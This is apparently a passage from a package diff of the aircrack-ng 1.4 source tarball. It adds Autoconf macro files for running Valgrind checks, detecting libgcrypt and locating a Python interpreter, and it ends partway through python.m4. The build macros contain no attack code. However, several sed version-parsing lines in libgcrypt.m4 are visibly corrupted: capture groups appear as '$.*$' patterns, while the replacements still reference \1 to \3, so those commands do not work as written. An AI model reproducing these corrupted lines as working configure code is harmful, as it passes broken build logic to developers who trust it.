+#   each of the available Valgrind tools (out of memcheck, helgrind, drd and
+#   sgcheck), and will output results to test-suite-$toolname.log for each.
+#   The target will succeed if there are zero errors and fail otherwise.
+#
+#   Alternatively, a "check-valgrind-$TOOL" rule will be added, for $TOOL in
+#   memcheck, helgrind, drd and sgcheck. These are useful because often only
+#   some of those tools can be ran cleanly on a codebase.
+#
+#   The macro supports running with and without libtool.
+#
+# LICENSE
+#
+#   Copyright (c) 2014, 2015, 2016 Philip Withnall <philip.withnall@collabora.co.uk>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved.  This file is offered as-is, without any
+#   warranty.
+
+#serial 9
+
+AC_DEFUN([AX_VALGRIND_CHECK],[
+	dnl Check for --enable-valgrind
+	AC_ARG_ENABLE([valgrind],
+	              [AS_HELP_STRING([--enable-valgrind], [Whether to enable Valgrind on the unit tests])],
+	              [enable_valgrind=$enableval],[enable_valgrind=])
+
+	AS_IF([test "$enable_valgrind" != "no"],[
+		# Check for Valgrind.
+		AC_CHECK_PROG([VALGRIND],[valgrind],[valgrind])
+		AS_IF([test "$VALGRIND" = ""],[
+			AS_IF([test "$enable_valgrind" = "yes"],[
+				AC_MSG_ERROR([Could not find valgrind; either install it or reconfigure with --disable-valgrind])
+			],[
+				enable_valgrind=no
+			])
+		],[
+			enable_valgrind=yes
+		])
+	])
+
+	AM_CONDITIONAL([VALGRIND_ENABLED],[test "$enable_valgrind" = "yes"])
+	AC_SUBST([VALGRIND_ENABLED],[$enable_valgrind])
+
+	# Check for Valgrind tools we care about.
+	m4_define([valgrind_tool_list],[[memcheck], [helgrind], [drd], [exp-sgcheck]])
+
+	AS_IF([test "$VALGRIND" != ""],[
+		m4_foreach([vgtool],[valgrind_tool_list],[
+			m4_define([vgtooln],AS_TR_SH(vgtool))
+			m4_define([ax_cv_var],[ax_cv_valgrind_tool_]vgtooln)
+			AC_CACHE_CHECK([for Valgrind tool ]vgtool,ax_cv_var,[
+				ax_cv_var=
+				AS_IF([`$VALGRIND --tool=vgtool --help >/dev/null 2>&1`],[
+					ax_cv_var="vgtool"
+				])
+			])
+
+			AC_SUBST([VALGRIND_HAVE_TOOL_]vgtooln,[$ax_cv_var])
+		])
+	])
+
+[VALGRIND_CHECK_RULES='
+# Valgrind check
+#
+# Optional:
+#  - VALGRIND_SUPPRESSIONS_FILES: Space-separated list of Valgrind suppressions
+#    files to load. (Default: empty)
+#  - VALGRIND_FLAGS: General flags to pass to all Valgrind tools.
+#    (Default: --num-callers=30)
+#  - VALGRIND_$toolname_FLAGS: Flags to pass to Valgrind $toolname (one of:
+#    memcheck, helgrind, drd, sgcheck). (Default: various)
+
+# Optional variables
+VALGRIND_SUPPRESSIONS ?= $(addprefix --suppressions=,$(VALGRIND_SUPPRESSIONS_FILES))
+VALGRIND_FLAGS ?= --num-callers=30
+VALGRIND_memcheck_FLAGS ?= --leak-check=full --show-reachable=no
+VALGRIND_helgrind_FLAGS ?= --history-level=approx
+VALGRIND_drd_FLAGS ?=
+VALGRIND_sgcheck_FLAGS ?=
+
+# Internal use
+valgrind_tools = memcheck helgrind drd sgcheck
+valgrind_log_files = $(addprefix test-suite-,$(addsuffix .log,$(valgrind_tools)))
+
+valgrind_memcheck_flags = --tool=memcheck $(VALGRIND_memcheck_FLAGS)
+valgrind_helgrind_flags = --tool=helgrind $(VALGRIND_helgrind_FLAGS)
+valgrind_drd_flags = --tool=drd $(VALGRIND_drd_FLAGS)
+valgrind_sgcheck_flags = --tool=exp-sgcheck $(VALGRIND_sgcheck_FLAGS)
+
+valgrind_quiet = $(valgrind_quiet_$(V))
+valgrind_quiet_ = $(valgrind_quiet_$(AM_DEFAULT_VERBOSITY))
+valgrind_quiet_0 = --quiet
+
+# Support running with and without libtool.
+ifneq ($(LIBTOOL),)
+valgrind_lt = $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=execute
+else
+valgrind_lt =
+endif
+
+# Use recursive makes in order to ignore errors during check
+check-valgrind:
+ifeq ($(VALGRIND_ENABLED),yes)
+	-$(foreach tool,$(valgrind_tools), \
+		$(if $(VALGRIND_HAVE_TOOL_$(tool))$(VALGRIND_HAVE_TOOL_exp_$(tool)), \
+			$(MAKE) $(AM_MAKEFLAGS) -k check-valgrind-tool VALGRIND_TOOL=$(tool); \
+		) \
+	)
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+# Valgrind running
+VALGRIND_TESTS_ENVIRONMENT = \
+	$(TESTS_ENVIRONMENT) \
+	env VALGRIND=$(VALGRIND) \
+	G_SLICE=always-malloc,debug-blocks \
+	G_DEBUG=fatal-warnings,fatal-criticals,gc-friendly
+
+VALGRIND_LOG_COMPILER = \
+	$(valgrind_lt) \
+	$(VALGRIND) $(VALGRIND_SUPPRESSIONS) --error-exitcode=1 $(VALGRIND_FLAGS)
+
+check-valgrind-tool:
+ifeq ($(VALGRIND_ENABLED),yes)
+	$(MAKE) check-TESTS \
+		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
+		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
+		LOG_FLAGS="$(valgrind_$(VALGRIND_TOOL)_flags)" \
+		TEST_SUITE_LOG=test-suite-$(VALGRIND_TOOL).log
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+check-valgrind-memcheck:
+ifeq ($(VALGRIND_ENABLED),yes)
+	$(MAKE) check-TESTS \
+		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
+		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
+		LOG_FLAGS="$(valgrind_memcheck_flags)" \
+		TEST_SUITE_LOG=test-suite-memcheck.log
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+check-valgrind-helgrind:
+ifeq ($(VALGRIND_ENABLED),yes)
+	$(MAKE) check-TESTS \
+		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
+		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
+		LOG_FLAGS="$(valgrind_helgrind_flags)" \
+		TEST_SUITE_LOG=test-suite-helgrind.log
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+check-valgrind-drd:
+ifeq ($(VALGRIND_ENABLED),yes)
+	$(MAKE) check-TESTS \
+		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
+		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
+		LOG_FLAGS="$(valgrind_drd_flags)" \
+		TEST_SUITE_LOG=test-suite-drd.log
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+check-valgrind-sgcheck:
+ifeq ($(VALGRIND_ENABLED),yes)
+	$(MAKE) check-TESTS \
+		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
+		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
+		LOG_FLAGS="$(valgrind_sgcheck_flags)" \
+		TEST_SUITE_LOG=test-suite-sgcheck.log
+else
+	@echo "Need to reconfigure with --enable-valgrind"
+endif
+
+A''M_DISTCHECK_CONFIGURE_FLAGS ?=
+A''M_DISTCHECK_CONFIGURE_FLAGS += --disable-valgrind
+
+MOSTLYCLEANFILES ?=
+MOSTLYCLEANFILES += $(valgrind_log_files)
+
+.PHONY: check-valgrind check-valgrind-tool
+']
+
+	AC_SUBST([VALGRIND_CHECK_RULES])
+	m4_ifdef([_AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE([VALGRIND_CHECK_RULES])])
+])

aircrack-ng-1.4.tar.gz/build/m4/libgcrypt.m4 Added

@@ -0,0 +1,143 @@
+# libgcrypt.m4 - Autoconf macros to detect libgcrypt
+# Copyright (C) 2002, 2003, 2004, 2011, 2014 g10 Code GmbH
+#
+# This file is free software; as a special exception the author gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+#
+# This file is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
+# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Last-changed: 2014-10-02
+
+
+dnl AM_PATH_LIBGCRYPT([MINIMUM-VERSION,
+dnl                   [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+dnl Test for libgcrypt and define LIBGCRYPT_CFLAGS and LIBGCRYPT_LIBS.
+dnl MINIMUN-VERSION is a string with the version number optionalliy prefixed
+dnl with the API version to also check the API compatibility. Example:
+dnl a MINIMUN-VERSION of 1:1.2.5 won't pass the test unless the installed
+dnl version of libgcrypt is at least 1.2.5 *and* the API number is 1.  Using
+dnl this features allows to prevent build against newer versions of libgcrypt
+dnl with a changed API.
+dnl
+dnl If a prefix option is not used, the config script is first
+dnl searched in $SYSROOT/bin and then along $PATH.  If the used
+dnl config script does not match the host specification the script
+dnl is added to the gpg_config_script_warn variable.
+dnl
+AC_DEFUN([AM_PATH_LIBGCRYPT],
+[ AC_REQUIRE([AC_CANONICAL_HOST])
+  AC_ARG_WITH(libgcrypt-prefix,
+            AC_HELP_STRING([--with-libgcrypt-prefix=PFX],
+                           [prefix where LIBGCRYPT is installed (optional)]),
+     libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="")
+  if test x"${LIBGCRYPT_CONFIG}" = x ; then
+     if test x"${libgcrypt_config_prefix}" != x ; then
+        LIBGCRYPT_CONFIG="${libgcrypt_config_prefix}/bin/libgcrypt-config"
+     else
+       case "${SYSROOT}" in
+         /*)
+           if test -x "${SYSROOT}/bin/libgcrypt-config" ; then
+             LIBGCRYPT_CONFIG="${SYSROOT}/bin/libgcrypt-config"
+           fi
+           ;;
+         '')
+           ;;
+          *)
+           AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
+           ;;
+       esac
+     fi
+  fi
+
+  AC_PATH_PROG(LIBGCRYPT_CONFIG, libgcrypt-config, no)
+  tmp=ifelse([$1], ,1:1.2.0,$1)
+  if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
+     req_libgcrypt_api=`echo "$tmp"     | sed 's/$.*$:$.*$/\1/'`
+     min_libgcrypt_version=`echo "$tmp" | sed 's/$.*$:$.*$/\2/'`
+  else
+     req_libgcrypt_api=0
+     min_libgcrypt_version="$tmp"
+  fi
+
+  AC_MSG_CHECKING(for LIBGCRYPT - version >= $min_libgcrypt_version)
+  ok=no
+  if test "$LIBGCRYPT_CONFIG" != "no" ; then
+    req_major=`echo $min_libgcrypt_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$/\1/'`
+    req_minor=`echo $min_libgcrypt_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$/\2/'`
+    req_micro=`echo $min_libgcrypt_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$/\3/'`
+    libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
+    major=`echo $libgcrypt_config_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$.*/\1/'`
+    minor=`echo $libgcrypt_config_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$.*/\2/'`
+    micro=`echo $libgcrypt_config_version | \
+               sed 's/$[[0-9]]*$\.$[[0-9]]*$\.$[[0-9]]*$.*/\3/'`
+    if test "$major" -gt "$req_major"; then
+        ok=yes
+    else
+        if test "$major" -eq "$req_major"; then
+            if test "$minor" -gt "$req_minor"; then
+               ok=yes
+            else
+               if test "$minor" -eq "$req_minor"; then
+                   if test "$micro" -ge "$req_micro"; then
+                     ok=yes
+                   fi
+               fi
+            fi
+        fi
+    fi
+  fi
+  if test $ok = yes; then
+    AC_MSG_RESULT([yes ($libgcrypt_config_version)])
+  else
+    AC_MSG_RESULT(no)
+  fi
+  if test $ok = yes; then
+     # If we have a recent libgcrypt, we should also check that the
+     # API is compatible
+     if test "$req_libgcrypt_api" -gt 0 ; then
+        tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
+        if test "$tmp" -gt 0 ; then
+           AC_MSG_CHECKING([LIBGCRYPT API version])
+           if test "$req_libgcrypt_api" -eq "$tmp" ; then
+             AC_MSG_RESULT([okay])
+           else
+             ok=no
+             AC_MSG_RESULT([does not match. want=$req_libgcrypt_api got=$tmp])
+           fi
+        fi
+     fi
+  fi
+  if test $ok = yes; then
+    LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
+    LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
+    ifelse([$2], , :, [$2])
+    libgcrypt_config_host=`$LIBGCRYPT_CONFIG --host 2>/dev/null || echo none`
+    if test x"$libgcrypt_config_host" != xnone ; then
+      if test x"$libgcrypt_config_host" != x"$host" ; then
+  AC_MSG_WARN([[
+***
+*** The config script $LIBGCRYPT_CONFIG was
+*** built for $libgcrypt_config_host and thus may not match the
+*** used host $host.
+*** You may want to use the configure option --with-libgcrypt-prefix
+*** to specify a matching config script or use \$SYSROOT.
+***]])
+        gpg_config_script_warn="$gpg_config_script_warn libgcrypt"
+      fi
+    fi
+  else
+    LIBGCRYPT_CFLAGS=""
+    LIBGCRYPT_LIBS=""
+    ifelse([$3], , :, [$3])
+  fi
+  AC_SUBST(LIBGCRYPT_CFLAGS)
+  AC_SUBST(LIBGCRYPT_LIBS)
+])

aircrack-ng-1.4.tar.gz/build/m4/python.m4 Added

@@ -0,0 +1,646 @@
+# Copyright 2012, 2013, 2014 Brandon Invergo <brandon@invergo.net>
+#
+# This file is part of pyconfigure.  This program is free
+# software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the
+# Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# Under Section 7 of GPL version 3, you are granted additional
+# permissions described in the Autoconf Configure Script Exception,
+# version 3.0, as published by the Free Software Foundation.
+#
+# You should have received a copy of the GNU General Public License
+# and a copy of the Autoconf Configure Script Exception along with
+# this program; see the files COPYINGv3 and COPYING.EXCEPTION
+# respectively.  If not, see <http://www.gnu.org/licenses/>.
+
+
+# Many of these macros were adapted from ones written by Andrew Dalke
+# and James Henstridge and are included with the Automake utility
+# under the following copyright terms:
+#
+# Copyright (C) 1999-2012 Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# Table of Contents:
+#
+# 1. Language selection
+#    and routines to produce programs in a given language.
+#
+# 2. Producing programs in a given language.
+#
+# 3. Looking for a compiler
+#    And possibly the associated preprocessor.
+#
+# 4. Looking for specific libs & functionality
+
+
+## ----------------------- ##
+## 1. Language selection.  ##
+## ----------------------- ##
+
+
+# AC_LANG(Python)
+# ---------------
+AC_LANG_DEFINE([Python], [py], [PY], [PYTHON], [],
+[ac_ext=py
+ac_compile='chmod +x conftest.$ac_ext >&AS_MESSAGE_LOG_FD'
+ac_link='chmod +x conftest.$ac_ext && cp conftest.$ac_ext conftest >&AS_MESSAGE_LOG_FD'
+])
+
+
+# AC_LANG_PYTHON
+# --------------
+AU_DEFUN([AC_LANG_PYTHON], [AC_LANG(Python)])
+
+
+## ----------------------- ##
+## 2. Producing programs.  ##
+## ----------------------- ##
+
+
+# AC_LANG_PROGRAM(Python)([PROLOGUE], [BODY])
+# -------------------------------------------
+m4_define([AC_LANG_PROGRAM(Python)], [dnl
+@%:@!$PYTHON
+$1
+m4_if([$2], [], [], [dnl
+if __name__ == '__main__':
+$2])])
+
+
+# _AC_LANG_IO_PROGRAM(Python)
+# ---------------------------
+# Produce source that performs I/O.
+m4_define([_AC_LANG_IO_PROGRAM(Python)],
+[AC_LANG_PROGRAM([dnl
+import sys
+try:
+    h = open('conftest.out')
+except:
+    sys.exit(1)
+else:
+    close(h)
+    sys.exit(0)
+], [])])
+
+
+# _AC_LANG_CALL(Python)([PROLOGUE], [FUNCTION])
+# ---------------------
+# Produce source that calls FUNCTION
+m4_define([_AC_LANG_CALL(Python)],
+[AC_LANG_PROGRAM([$1], [$2])])
+
+
+## -------------------------------------------- ##
+## 3. Looking for Compilers and Interpreters.   ##
+## -------------------------------------------- ##
+
+
+AC_DEFUN([AC_LANG_COMPILER(Python)],
+[AC_REQUIRE([PC_PROG_PYTHON])])
+
+
+# PC_INIT([MIN-VERSION], [MAX-VERSION]) 
+# -----------------------------
+# Initialize pyconfigure, finding a Python interpreter with a given
+# minimum and/or maximum version. 
+AC_DEFUN([PC_INIT],
+[PC_PROG_PYTHON([], [$1], [$2])
+dnl If we found something, do a sanity check that the interpreter really
+dnl has the version its name would suggest.
+m4_ifval([PYTHON],
+        [PC_PYTHON_VERIFY_VERSION([>=], [pc_min_ver], [],
+                  [AC_MSG_WARN([No compatible Python interpreter found. If you're sure that you have one, try setting the PYTHON environment variable to the location of the interpreter.])])])
+m4_ifval([PYTHON],
+        [PC_PYTHON_VERIFY_VERSION([<=], [pc_max_ver], [],
+                  [AC_MSG_WARN([No compatible Python interpreter found. If you're sure that you have one, try setting the PYTHON environment variable to the location of the interpreter.])])])
+])# PC_INIT
+
+# PC_PROG_PYTHON([PROG-TO-CHECK-FOR], [MIN-VERSION], [MAX-VERSION])
+# ---------------------------------
+# Find a Python interpreter.  Python versions prior to 2.0 are not
+# supported. (2.0 was released on October 16, 2000).
+AC_DEFUN_ONCE([PC_PROG_PYTHON],
+[AC_ARG_VAR([PYTHON], [the Python interpreter])
+dnl The default minimum version is 2.0
+m4_define_default([pc_min_ver], m4_ifval([$2], [$2], [2.0]))
+dnl The default maximum version is 3.3
+m4_define_default([pc_max_ver], m4_ifval([$3], [$3], [4.0]))
+dnl Build up a list of possible interpreter names. 
+m4_define_default([_PC_PYTHON_INTERPRETER_LIST],
+    [dnl If we want some Python 3 versions (max version >= 3.0), 
+dnl also search for "python3"
+     m4_if(m4_version_compare(pc_max_ver, [2.9]), [1], [python3], []) \
+dnl If we want some Python 2 versions (min version <= 2.7),
+dnl also search for "python2".
+     m4_if(m4_version_compare(pc_min_ver, [2.8]), [-1], [python2], []) \
+dnl Construct a comma-separated list of interpreter names (python2.6, 
+dnl python2.7, etc). We only care about the first 3 characters of the
+dnl version strings (major-dot-minor; not 
+dnl major-dot-minor-dot-bugfix[-dot-whatever])
+     m4_foreach([pc_ver], 
+                    m4_esyscmd_s(seq -s[[", "]] m4_substr(pc_max_ver, [0], [3]) -0.1 m4_substr(pc_min_ver, [0], [3])),
+dnl Remove python2.8 and python2.9 since they will never exist
+                    [m4_bmatch(pc_ver, [2.[89]], [], [python]pc_ver)]) \
+     [python]])
+dnl Do the actual search at last.
+m4_ifval([$1],
+	[AC_PATH_PROGS(PYTHON, [$1 _PC_PYTHON_INTERPRETER_LIST])],
+	[AC_PATH_PROGS(PYTHON, [_PC_PYTHON_INTERPRETER_LIST])])
+])# PC_PROG_PYTHON
+  
+
+# PC_PYTHON_PROG_PYTHON_CONFIG(PROG-TO-CHECK-FOR)
+# ----------------------------------------------
+# Find the python-config program
+AC_DEFUN([PC_PYTHON_PROG_PYTHON_CONFIG],
+[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
+AC_ARG_VAR([PYTHON_CONFIG], [the Python-config program])
+dnl python-config's binary name is normally based on the Python interpreter's
+dnl binary name (i.e. python2.7 -> python2.7-config)
+m4_define([_PYTHON_BASENAME], [`basename $PYTHON`])
+m4_ifval([$1],
+	[AC_PATH_PROGS(PYTHON_CONFIG, [$1 _PYTHON_BASENAME-config])],
+	[AC_PATH_PROG(PYTHON_CONFIG, _PYTHON_BASENAME-config)])
+]) # PC_PYTHON_PROG_PYTHON_CONFIG
+
+
+# PC_PYTHON_VERIFY_VERSION([RELATION], [VERSION], [ACTION-IF-TRUE], [ACTION-IF-FALSE])
+# ---------------------------------------------------------------------------
+# Run ACTION-IF-TRUE if the Python interpreter PROG has version [RELATION] VERSION.
+# i.e if RELATION is "<", check if PROG has a version number less than VERSION.
+# Run ACTION-IF-FALSE otherwise.
+# Specify RELATION as any mathematical comparison "<", ">", "<=", ">=", "==" or "!="
+# This test uses sys.hexversion instead of the string equivalent (first
+# word of sys.version), in order to cope with versions such as 2.2c1.
+# This supports Python 2.0 or higher. (2.0 was released on October 16, 2000).
+AC_DEFUN([PC_PYTHON_VERIFY_VERSION],
+[m4_define([pc_python_safe_ver], m4_bpatsubsts($2, [\.], [_]))
+AC_CACHE_CHECK([if Python $1 '$2'],
+    [[pc_cv_python_req_version_]pc_python_safe_ver],
+    [AC_LANG_PUSH(Python)[]dnl
+     AC_RUN_IFELSE(
+        [AC_LANG_PROGRAM([dnl
+import sys
+], [dnl
+    # split strings by '.' and convert to numeric.  Append some zeros
+    # because we need at least 4 digits for the hex conversion.
+    # map returns an iterator in Python 3.0 and a list in 2.x
+    reqver = list(map(int, '$2'.split('.'))) + [[0, 0, 0]]
+    reqverhex = 0
+    # xrange is not present in Python 3.0 and range returns an iterator
+    for i in list(range(4)):
+        reqverhex = (reqverhex << 8) + reqver[[i]]
+    # the final 8 bits are "0xf0" for final versions, which are all
+    # we'll test against, since it's doubtful that a released software
+    # will depend on an alpha- or beta-state Python.
+    reqverhex += 0xf0
+    if sys.hexversion $1 reqverhex:
+        sys.exit()
+    else:
+        sys.exit(1)
+])], 
+         [[pc_cv_python_req_version_]pc_python_safe_ver=yes], 
+         [[pc_cv_python_req_version_]pc_python_safe_ver=no])
+     AC_LANG_POP(Python)[]dnl
+    ])
+AS_IF([test "$[pc_cv_python_req_version_]pc_python_safe_ver" = "no"], [$4], [$3])
+])# PC_PYTHON_VERIFY_VERSION
+
+
+# PC_PYTHON_CHECK_VERSION
+# -----------------------
+# Query Python for its version number.  Getting [:3] seems to be
+# the best way to do this; it's what "site.py" does in the standard
+# library.
+AC_DEFUN([PC_PYTHON_CHECK_VERSION],
+[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
+AC_CACHE_CHECK([for $1 version], 
+    [pc_cv_python_version],
+    [AC_LANG_PUSH(Python)[]dnl
+     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+], [dnl
+    sys.stdout.write(sys.version[[:3]])
+])],
+                   [pc_cv_python_version=`./conftest`],
+                   [AC_MSG_WARN([failed to run Python program])])
+     AC_LANG_POP(Python)[]dnl
+    ])
+AC_SUBST([PYTHON_VERSION], [$pc_cv_python_version])
+])# PC_PYTHON_CHECK_VERSION
+
+
+# PC_PYTHON_CHECK_PREFIX
+# ----------------------
+# Use the value of $prefix for the corresponding value of
+# PYTHON_PREFIX. This is made a distinct variable so it can be
+# overridden if need be.  However, general consensus is that you
+# shouldn't need this ability. 
+AC_DEFUN([PC_PYTHON_CHECK_PREFIX],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to get it with python-config otherwise do it from within Python
+AC_CACHE_CHECK([for Python prefix], [pc_cv_python_prefix],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_prefix=`$PYTHON_CONFIG --prefix 2>&AS_MESSAGE_LOG_FD`
+else
+    AC_LANG_PUSH(Python)[]dnl
+    AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+], [dnl
+    sys.stdout.write(sys.prefix)
+])], [pc_cv_python_prefix=`./conftest`;
+      if test $? != 0; then
+         AC_MSG_WARN([could not determine Python prefix])
+      fi],
+      [AC_MSG_WARN([failed to run Python program])])
+    AC_LANG_POP(Python)[]dnl
+fi])
+AC_SUBST([PYTHON_PREFIX], [$pc_cv_python_prefix])])
+
+
+# PC_PYTHON_CHECK_EXEC_PREFIX
+# --------------------------
+# Like above, but for $exec_prefix
+AC_DEFUN([PC_PYTHON_CHECK_EXEC_PREFIX],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to get it with python-config otherwise do it from within Python
+AC_CACHE_CHECK([for Python exec-prefix], [pc_cv_python_exec_prefix],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_exec_prefix=`$PYTHON_CONFIG --exec-prefix 2>&AS_MESSAGE_LOG_FD`
+else
+    AC_LANG_PUSH(Python)[]dnl
+    AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+], [dnl
+    sys.stdout.write(sys.exec_prefix)
+])],
+        [pc_cv_python_exec_prefix=`./conftest`;
+         if test $? != 0; then
+            AC_MSG_WARN([could not determine Python exec_prefix])
+         fi],
+         [AC_MSG_WARN([failed to run Python program])])
+    AC_LANG_POP(Python)[]dnl
+fi
+])
+AC_SUBST([PYTHON_EXEC_PREFIX], [$pc_cv_python_exec_prefix])])
+
+
+# PC_PYTHON_CHECK_INCLUDES
+# ------------------------
+# Find the Python header file include flags (ie
+# '-I/usr/include/python')
+AC_DEFUN([PC_PYTHON_CHECK_INCLUDES],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the headers location with python-config otherwise guess
+AC_CACHE_CHECK([for Python includes], [pc_cv_python_includes],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_includes=`$PYTHON_CONFIG --includes 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_includes="[-I$includedir/$_PYTHON_BASENAME]m4_ifdef(PYTHON_ABI_FLAGS,
+    PYTHON_ABI_FLAGS,)"
+fi
+])
+AC_SUBST([PYTHON_INCLUDES], [$pc_cv_python_includes])])
+
+
+# PC_PYTHON_CHECK_HEADERS([ACTION-IF-PRESENT], [ACTION-IF-ABSENT])
+# -----------------------
+# Check for the presence and usability of Python.h
+AC_DEFUN([PC_PYTHON_CHECK_HEADERS],
+[AC_REQUIRE([PC_PYTHON_CHECK_INCLUDES])[]dnl
+pc_cflags_store=$CPPFLAGS
+CPPFLAGS="$CFLAGS $PYTHON_INCLUDES"
+AC_CHECK_HEADER([Python.h], [$1], [$2])
+CPPFLAGS=$pc_cflags_store
+])
+
+
+# PC_PYTHON_CHECK_LIBS
+# --------------------
+# Find the Python lib flags (ie '-lpython')
+AC_DEFUN([PC_PYTHON_CHECK_LIBS],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the lib flags with python-config otherwise guess
+AC_CACHE_CHECK([for Python libs], [pc_cv_python_libs],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_libs=`$PYTHON_CONFIG --libs 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_libs="[-l$_PYTHON_BASENAME]m4_ifdef(PYTHON_ABI_FLAGS, PYTHON_ABI_FLAGS,)"
+fi
+])
+AC_SUBST([PYTHON_LIBS], [$pc_cv_python_libs])])
+
+
+# PC_PYTHON_TEST_LIBS(LIBRARY-FUNCTION, [ACTION-IF-PRESENT], [ACTION-IF-ABSENT])
+# -------------------
+# Verify that the Python libs can be loaded
+AC_DEFUN([PC_PYTHON_TEST_LIBS],
+[AC_REQUIRE([PC_PYTHON_CHECK_LIBS])[]dnl
+pc_libflags_store=$LIBS
+for lflag in $PYTHON_LIBS; do
+    case $lflag in
+    	 -lpython*@:}@
+		LIBS="$LIBS $lflag"
+		pc_libpython=`echo $lflag | sed -e 's/^-l//'`
+		;;
+         *@:}@;;
+    esac
+done
+AC_CHECK_LIB([$pc_libpython], [$1], [$2], [$3])])
+
+
+# PC_PYTHON_CHECK_CFLAGS
+# ----------------------
+# Find the Python CFLAGS
+AC_DEFUN([PC_PYTHON_CHECK_CFLAGS],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the CFLAGS with python-config otherwise give up
+AC_CACHE_CHECK([for Python CFLAGS], [pc_cv_python_cflags],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_cflags=`$PYTHON_CONFIG --cflags 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_cflags=
+fi
+])
+AC_SUBST([PYTHON_CFLAGS], [$pc_cv_python_cflags])])
+
+
+# PC_PYTHON_CHECK_LDFLAGS
+# -----------------------
+# Find the Python LDFLAGS
+AC_DEFUN([PC_PYTHON_CHECK_LDFLAGS],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the LDFLAGS with python-config otherwise give up
+AC_CACHE_CHECK([for Python LDFLAGS], [pc_cv_python_ldflags],
+[if test -x "$PYTHON_CONFIG"; then
+    pc_cv_python_ldflags=`$PYTHON_CONFIG --ldflags 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_ldflags=
+fi
+])
+AC_SUBST([PYTHON_LDFLAGS], [$pc_cv_python_ldflags])])
+
+
+# PC_PYTHON_CHECK_EXTENSION_SUFFIX
+# --------------------------------
+# Find the Python extension suffix (i.e. '.cpython-32.so')
+AC_DEFUN([PC_PYTHON_CHECK_EXTENSION_SUFFIX],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the suffix with python-config otherwise give up
+AC_CACHE_CHECK([for Python extension suffix], [pc_cv_python_extension_suffix],
+[if test -x "$PYTHON_CONFIG"; then
+     pc_cv_python_extension_suffix=`$PYTHON_CONFIG --extension-suffix 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_extension_suffix=
+fi
+])
+AC_SUBST([PYTHON_EXTENSION_SUFFIX], [$pc_cv_python_extension_suffix])])
+
+
+# PC_PYTHON_CHECK_ABI_FLAGS
